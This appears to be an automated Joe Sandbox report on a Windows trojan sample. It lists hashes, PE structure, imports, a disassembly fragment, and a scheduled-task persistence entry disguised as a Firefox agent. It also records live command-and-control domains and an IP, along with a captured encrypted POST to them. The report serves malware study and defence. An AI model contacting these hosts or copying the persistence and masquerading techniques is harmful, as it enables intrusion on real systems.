Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	512 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	112 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	4 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 File Deletion	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
p3jNeWT0GE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\hdgaecu	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.p3jNeWT0GE.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.p3jNeWT0GE.exe.c215a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.hdgaecu.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.hdgaecu.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.hdgaecu.c215a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.p3jNeWT0GE.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.p3jNeWT0GE.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.hdgaecu.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.p3jNeWT0GE.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.hdgaecu.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
host-file-host6.com	18%	Virustotal		Browse
host-host-file8.com	13%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://ns.adobY	0%	URL Reputation	safe
http://host-file-host6.com/	0%	URL Reputation	safe
http://host-host-file8.com/	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
host-file-host6.com	47.89.255.79	true	true	18%, Virustotal, Browse	unknown
host-host-file8.com	unknown	unknown	true	13%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://host-file-host6.com/	true	URL Reputation: safe	unknown
http://host-host-file8.com/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.adobY	explorer.exe, 00000004.00000000.397114425.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.374277431.00000000026D0000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.89.255.79	host-file-host6.com	United States		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	652394
Start date and time: 26/06/202209:43:28	2022-06-26 09:43:28 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	p3jNeWT0GE.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/2@5/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 78.9% (good quality ratio 69.7%) Quality average: 57.7% Quality standard deviation: 32.1%
HCA Information:	Successful, ratio: 70% Number of executed functions: 18 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
09:45:40	Task Scheduler	Run new task: Firefox Default Browser Agent 48F1ADA0A38E1F04 path: C:\Users\user\AppData\Roaming\hdgaecu

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
47.89.255.79	zEJJi06BWy.exe	Get hash	malicious	Browse	host-file-host6.com/
47.89.255.79	EaaksFFZMp.exe	Get hash	malicious	Browse	host-file-host6.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
host-file-host6.com	zEJJi06BWy.exe	Get hash	malicious	Browse	47.89.255.79
	EaaksFFZMp.exe	Get hash	malicious	Browse	47.89.255.79
	8hR2FFNS7r.exe	Get hash	malicious	Browse	91.203.193.195
	OX2FmbvkaC.exe	Get hash	malicious	Browse	34.154.65.119
	slssK34fz6.exe	Get hash	malicious	Browse	185.251.88.123
	ektmWnad6Q.exe	Get hash	malicious	Browse	185.251.88.123
	s1HJbiWClx.exe	Get hash	malicious	Browse	185.251.88.123
	Zin2QMKoyr.exe	Get hash	malicious	Browse	34.175.118.32
	CusuNTi14y.exe	Get hash	malicious	Browse	34.175.118.32
	1ky2gk6Aon.exe	Get hash	malicious	Browse	34.175.118.32
	IoSHLr6wUf.exe	Get hash	malicious	Browse	34.175.118.32
	Dx26Me4rxX.exe	Get hash	malicious	Browse	34.175.118.32
	NMK0z8gjZD.exe	Get hash	malicious	Browse	34.175.118.32
	ABp48PkUGn.exe	Get hash	malicious	Browse	34.175.118.32
	4rid9Pr9Ei.exe	Get hash	malicious	Browse	34.175.118.32
	OVxyYcJ7a0.exe	Get hash	malicious	Browse	34.175.118.32
	beFtjvNZq1.exe	Get hash	malicious	Browse	34.175.118.32
	QceK9Nkj3I.exe	Get hash	malicious	Browse	34.175.118.32
	dPC9EnexYI.exe	Get hash	malicious	Browse	34.175.118.32
	LzPKhJRnJc.exe	Get hash	malicious	Browse	34.175.118.32

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	sora.arm	Get hash	malicious	Browse	47.91.26.144
	zEJJi06BWy.exe	Get hash	malicious	Browse	47.89.255.79
	EaaksFFZMp.exe	Get hash	malicious	Browse	47.89.255.79
	DOC098765567887.exe	Get hash	malicious	Browse	47.243.174.176
	oesJv1hdmc	Get hash	malicious	Browse	8.213.113.97
	RequestXSheet.docx	Get hash	malicious	Browse	8.218.122.14
	meerkat.x86	Get hash	malicious	Browse	8.222.164.81
	sora.arm	Get hash	malicious	Browse	47.90.47.158
	b4NeCugKMR.exe	Get hash	malicious	Browse	8.218.52.133
	arm7	Get hash	malicious	Browse	47.253.41.26
	SecuriteInfo.com.IL.Trojan.MSILZilla.20968.21798.exe	Get hash	malicious	Browse	47.252.40.77
	arm7	Get hash	malicious	Browse	47.254.80.129
	NFqeiFXp7y	Get hash	malicious	Browse	47.255.177.114
	tXbUvBRrf2	Get hash	malicious	Browse	8.221.161.114
	7myCS48Y2s	Get hash	malicious	Browse	47.252.184.30
	TNTINVOICE.exe	Get hash	malicious	Browse	47.243.104.253
	Emoji Design Keyboard.apk	Get hash	malicious	Browse	149.129.200.44
	Emoji Design Keyboard.apk	Get hash	malicious	Browse	149.129.200.44
	Emoji Design Keyboard_35.626.5.apk	Get hash	malicious	Browse	149.129.200.44
	Emoji Design Keyboard_35.626.5.apk	Get hash	malicious	Browse	149.129.200.44

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\hdgaecu

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	293376
Entropy (8bit):	6.884791106060294
Encrypted:	false
SSDEEP:	6144:HShclg/jkSrmFybCvqYNOpd5I165kcpe1+JAtGI8E2lxiz:yClIlmFO4qYNGI45kM2+JAtdyni
MD5:	25B54F50600604A53E80163B9049421E
SHA1:	BE28D831C5183368F057F8BEC104A2B0BABB406C
SHA-256:	9904784C707ABB24585E3E61FA5CC094380206385CBB7D087C968D7DC5EE0991
SHA-512:	3CBE8FAB28D77F7E7477C31DD3FC69E930FD3BE72B20411CC077592440E6EA487D3EDA66EBACE44C0C58FD35A9FC1AE5F1C3FB563FFAE33658930525DCB69027
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-\..i=..i=..i=...r..h=..wo..v=..wo...=..N...j=..i=...=..wo..V=..wo..h=..wo..h=..Richi=..........................PE..L......`......................p..............0....@...........................s.....(@..........................................(....`s..?..........................P..................................@............................................text............................... ..`.data.....p..0......................@....zineha.K....@s......6..............@....cixu...J....Ps......8..............@....rsrc....?...`s..@...:..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hdgaecu:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.884791106060294
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	p3jNeWT0GE.exe
File size:	293376
MD5:	25b54f50600604a53e80163b9049421e
SHA1:	be28d831c5183368f057f8bec104a2b0babb406c
SHA256:	9904784c707abb24585e3e61fa5cc094380206385cbb7d087c968d7dc5ee0991
SHA512:	3cbe8fab28d77f7e7477c31dd3fc69e930fd3be72b20411cc077592440e6ea487d3eda66ebace44c0c58fd35a9fc1ae5f1c3fb563ffae33658930525dcb69027
SSDEEP:	6144:HShclg/jkSrmFybCvqYNOpd5I165kcpe1+JAtGI8E2lxiz:yClIlmFO4qYNGI45kM2+JAtdyni
TLSH:	32549E10B650C434F5F712F44ABA926CB63E7AA19B3491CF62D56AEE5B346E0EC31307
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-\..i=..i=..i=...r..h=..wo..v=..wo...=..N...j=..i=...=..wo..V=..wo..h=..wo..h=..Richi=..........................PE..L......`...

File Icon


Icon Hash:	aecaae9ecea62ea2

Static PE Info

General

Entrypoint:	0x40eec0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x608DF612 [Sun May 2 00:45:06 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	9708e7dbb84fb2e34dfb5e05eada89dd

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F93ECC81C1Bh
call 00007F93ECC74586h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00430CA0h
push 00412510h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [0044387Ch]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010DCh]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F93ECC74598h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F93ECC746C8h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F93ECC74704h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F93ECC82CDAh
add esp, 04h
test eax, eax
jne 00007F93ECC7457Ch
push 0000001Ch
call 00007F93ECC746BCh
add esp, 04h
call 00007F93ECC7C304h
test eax, eax
jne 00007F93ECC7457Ch
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x313bc	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x736000	0x3f98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1350	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2f0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2fc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x315ac	0x31600	False	0.45167128164556963	data	6.39681715338854	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x33000	0x700da8	0x11c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.zineha	0x734000	0x4b	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.cixu	0x735000	0x4a	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x736000	0x3f98	0x4000	False	0.73095703125	data	6.341519681079148	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x7361f0	0x25a8	data	Korean	North Korea
RT_ICON	0x7361f0	0x25a8	data	Korean	South Korea
RT_ICON	0x738798	0x10a8	data	Korean	North Korea
RT_ICON	0x738798	0x10a8	data	Korean	South Korea
RT_STRING	0x739918	0x42	data	Korean	North Korea
RT_STRING	0x739918	0x42	data	Korean	South Korea
RT_STRING	0x739960	0x4ae	data	Korean	North Korea
RT_STRING	0x739960	0x4ae	data	Korean	South Korea
RT_STRING	0x739e10	0x188	data	Korean	North Korea
RT_STRING	0x739e10	0x188	data	Korean	South Korea
RT_ACCELERATOR	0x7398a8	0x70	data	Korean	North Korea
RT_ACCELERATOR	0x7398a8	0x70	data	Korean	South Korea
RT_ACCELERATOR	0x739868	0x40	data	Korean	North Korea
RT_ACCELERATOR	0x739868	0x40	data	Korean	South Korea
RT_GROUP_ICON	0x739840	0x22	data	Korean	North Korea
RT_GROUP_ICON	0x739840	0x22	data	Korean	South Korea

Imports

DLL

Import

KERNEL32.dll

DebugBreakProcess, FindFirstChangeNotificationW, GetNamedPipeHandleStateW, CreateIoCompletionPort, FillConsoleOutputCharacterW, DisableThreadLibraryCalls, TerminateProcess, GetProcessId, VerifyVersionInfoW, EnumDateFormatsW, FindNextFileW, CopyFileExA, BuildCommDCBAndTimeoutsA, VirtualUnlock, WriteProfileStringW, VerifyVersionInfoA, SetProcessPriorityBoost, GetDriveTypeW, FindFirstChangeNotificationA, GetFileType, DeleteFileA, FindNextVolumeMountPointA, OutputDebugStringA, ResetWriteWatch, WriteConsoleInputA, WriteConsoleInputW, GetConsoleTitleW, SetComputerNameExW, SetTimeZoneInformation, LoadLibraryA, GetSystemDirectoryA, GetDriveTypeA, GetShortPathNameW, ActivateActCtx, GetProfileSectionA, DeleteFileW, GetCommandLineW, InterlockedIncrement, AddRefActCtx, FindResourceA, FormatMessageA, GetModuleFileNameW, CreateJobObjectW, InitializeCriticalSection, SetFirmwareEnvironmentVariableW, GetDllDirectoryW, GetExitCodeThread, WritePrivateProfileStringW, GetConsoleAliasesLengthW, WriteProfileSectionW, AddAtomA, InterlockedDecrement, GetVersionExA, HeapSize, _hwrite, GetStartupInfoA, DisconnectNamedPipe, GetCPInfoExW, GetSystemWow64DirectoryW, GetPrivateProfileIntA, GetConsoleAliasExesW, DebugBreak, EndUpdateResourceW, SetLastError, InterlockedExchangeAdd, GetStringTypeExW, DeleteVolumeMountPointW, OpenFileMappingA, SetDefaultCommConfigW, lstrcpyA, TerminateThread, GetACP, _lwrite, GetQueuedCompletionStatus, GetNamedPipeHandleStateA, GetDiskFreeSpaceExW, RemoveVectoredExceptionHandler, WriteConsoleW, VirtualProtect, ReadConsoleOutputW, SetThreadContext, BuildCommDCBA, ReleaseActCtx, GetHandleInformation, WritePrivateProfileSectionW, DeleteCriticalSection, GetFileAttributesA, OpenWaitableTimerW, GetVolumePathNameW, SetConsoleMode, HeapSetInformation, SetComputerNameA, FindNextFileA, SetEvent, UnlockFile, GetProcAddress, DeleteTimerQueueTimer, CopyFileW, MoveFileA, GlobalAlloc, GetCommMask, SetFileShortNameA, GetFileAttributesW, FreeEnvironmentStringsW, GetProfileStringA, GetConsoleTitleA, SetComputerNameW, GetConsoleAliasesW, CreateMailslotA, EnumDateFormatsA, GetTimeZoneInformation, SetConsoleOutputCP, GetFileInformationByHandle, SetLocalTime, CallNamedPipeA, GetConsoleAliasExesLengthW, GetCurrentActCtx, OpenSemaphoreW, GetModuleHandleExA, LoadLibraryW, FoldStringW, GetTickCount, GetConsoleAliasesLengthA, GetLastError, LocalUnlock, GetFileTime, EnumResourceNamesW, OpenFileMappingW, UnhandledExceptionFilter, GetCompressedFileSizeW, GetThreadPriority, ReadConsoleA, AssignProcessToJobObject, Sleep, EnterCriticalSection, LeaveCriticalSection, RaiseException, RtlUnwind, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, WideCharToMultiByte, GetCommandLineA, HeapValidate, IsBadReadPtr, GetModuleHandleA, TlsGetValue, GetModuleHandleW, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, GetStdHandle, WriteFile, OutputDebugStringW, ExitProcess, GetOEMCP, GetCPInfo, IsValidCodePage, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, HeapDestroy, HeapCreate, HeapFree, VirtualFree, FlushFileBuffers, GetConsoleCP, GetConsoleMode, HeapAlloc, HeapReAlloc, VirtualAlloc, InitializeCriticalSectionAndSpinCount, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, LCMapStringA, LCMapStringW, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, SetFilePointer, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Korean	North Korea
Korean	South Korea

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:45:40.786709070 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:40.966763973 CEST	80	49800	47.89.255.79	192.168.2.7
Jun 26, 2022 09:45:40.966864109 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:40.966998100 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:40.967025042 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:41.150403023 CEST	80	49800	47.89.255.79	192.168.2.7
Jun 26, 2022 09:45:41.516522884 CEST	80	49800	47.89.255.79	192.168.2.7
Jun 26, 2022 09:45:41.516628981 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:41.526240110 CEST	49800	80	192.168.2.7	47.89.255.79
Jun 26, 2022 09:45:41.707974911 CEST	80	49800	47.89.255.79	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:45:40.467047930 CEST	51824	53	192.168.2.7	8.8.8.8
Jun 26, 2022 09:45:40.779170990 CEST	53	51824	8.8.8.8	192.168.2.7
Jun 26, 2022 09:45:41.537991047 CEST	65214	53	192.168.2.7	8.8.8.8
Jun 26, 2022 09:45:42.543178082 CEST	65214	53	192.168.2.7	8.8.8.8
Jun 26, 2022 09:45:43.574409962 CEST	65214	53	192.168.2.7	8.8.8.8
Jun 26, 2022 09:45:45.621850967 CEST	65214	53	192.168.2.7	8.8.8.8
Jun 26, 2022 09:45:45.624289036 CEST	53	65214	8.8.8.8	192.168.2.7
Jun 26, 2022 09:45:46.609745979 CEST	53	65214	8.8.8.8	192.168.2.7
Jun 26, 2022 09:45:47.613452911 CEST	53	65214	8.8.8.8	192.168.2.7
Jun 26, 2022 09:45:49.680742979 CEST	53	65214	8.8.8.8	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jun 26, 2022 09:45:46.609853983 CEST	192.168.2.7	8.8.8.8	cffa	(Port unreachable)	Destination Unreachable
Jun 26, 2022 09:45:47.613527060 CEST	192.168.2.7	8.8.8.8	cffa	(Port unreachable)	Destination Unreachable
Jun 26, 2022 09:45:49.680871010 CEST	192.168.2.7	8.8.8.8	cffa	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 26, 2022 09:45:40.467047930 CEST	192.168.2.7	8.8.8.8	0x7150	Standard query (0)	host-file-host6.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:41.537991047 CEST	192.168.2.7	8.8.8.8	0xae74	Standard query (0)	host-host-file8.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:42.543178082 CEST	192.168.2.7	8.8.8.8	0xae74	Standard query (0)	host-host-file8.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:43.574409962 CEST	192.168.2.7	8.8.8.8	0xae74	Standard query (0)	host-host-file8.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:45.621850967 CEST	192.168.2.7	8.8.8.8	0xae74	Standard query (0)	host-host-file8.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 26, 2022 09:45:40.779170990 CEST	8.8.8.8	192.168.2.7	0x7150	No error (0)	host-file-host6.com		47.89.255.79	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:45.624289036 CEST	8.8.8.8	192.168.2.7	0xae74	Server failure (2)	host-host-file8.com	none	none	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:46.609745979 CEST	8.8.8.8	192.168.2.7	0xae74	Server failure (2)	host-host-file8.com	none	none	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:47.613452911 CEST	8.8.8.8	192.168.2.7	0xae74	Server failure (2)	host-host-file8.com	none	none	A (IP address)	IN (0x0001)
Jun 26, 2022 09:45:49.680742979 CEST	8.8.8.8	192.168.2.7	0xae74	Server failure (2)	host-host-file8.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

xcxakxdec.net

host-file-host6.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49800	47.89.255.79	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 26, 2022 09:45:40.966998100 CEST	1413	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xcxakxdec.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 282 Host: host-file-host6.com
Jun 26, 2022 09:45:40.967025042 CEST	1413	OUT	Data Raw: 10 87 87 99 1e f1 a5 c6 ba 3f 0e 31 76 be e4 8d 43 13 af 37 d5 45 18 99 ca 9a dd 83 fb a0 e4 83 1e b1 5b a0 1d 18 b8 e0 9e ae f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 45 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 1c bb dc 31 Data Ascii: ?1vC7E[wmEu$f]d1(D4p+AJ3GKb=iozFP\|0Wi<4I-:vA:4XJ'9iR 0omai!JRAKb#tOQva>aR+dR.
Jun 26, 2022 09:45:41.516522884 CEST	3953	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 26 Jun 2022 07:45:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Data Raw: 66 0d 0a 59 6f 75 72 20 49 50 20 62 6c 6f 63 6b 65 64 0d 0a 30 0d 0a 0d 0a Data Ascii: fYour IP blocked0

Statistics

CPU Usage

Click to jump to process

Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: p3jNeWT0GE.exePID: 6516, Parent PID: 5656

General

Target ID:	0
Start time:	09:44:39
Start date:	26/06/2022
Path:	C:\Users\user\Desktop\p3jNeWT0GE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\p3jNeWT0GE.exe"
Imagebase:	0x400000
File size:	293376 bytes
MD5 hash:	25B54F50600604A53E80163B9049421E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: p3jNeWT0GE.exePID: 6648, Parent PID: 6516

General

Target ID:	1
Start time:	09:44:44
Start date:	26/06/2022
Path:	C:\Users\user\Desktop\p3jNeWT0GE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\p3jNeWT0GE.exe"
Imagebase:	0x400000
File size:	293376 bytes
MD5 hash:	25B54F50600604A53E80163B9049421E
Has elevated privileges:	true
